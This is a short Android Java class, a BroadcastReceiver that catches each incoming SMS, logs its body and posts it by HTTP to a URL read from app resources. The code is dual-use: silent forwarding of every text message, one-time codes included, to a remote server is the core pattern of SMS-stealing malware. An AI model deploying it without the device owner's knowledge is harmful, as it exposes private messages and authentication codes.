package com.example;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;

import java.util.concurrent.Executor;
import java.util.concurrent.Executors;

public class SmSBroadcastReceiver extends BroadcastReceiver {

    private static final String TAG = "SmSBroadcastReceiver";

    public static final String PDUS = "pdus";

    private Executor executor = Executors.newCachedThreadPool();

    @Override
    public void onReceive(Context context, Intent intent) {
        final String url = context.getString(R.string.url);
        Object[] pdus = (Object[]) intent.getExtras().get(PDUS);
        for (Object pdu : pdus) {
            final SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
            Log.i(TAG, "SmSBroadcastReceiver收到短信:" + smsMessage.getMessageBody());
            executor.execute(new Runnable() {
                @Override
                public void run() {
                    String smsMessageString = SmsMessageUtils.toDto(smsMessage);
                    HttpUtils.post(url, smsMessageString);
                }
            });
        }
    }
}

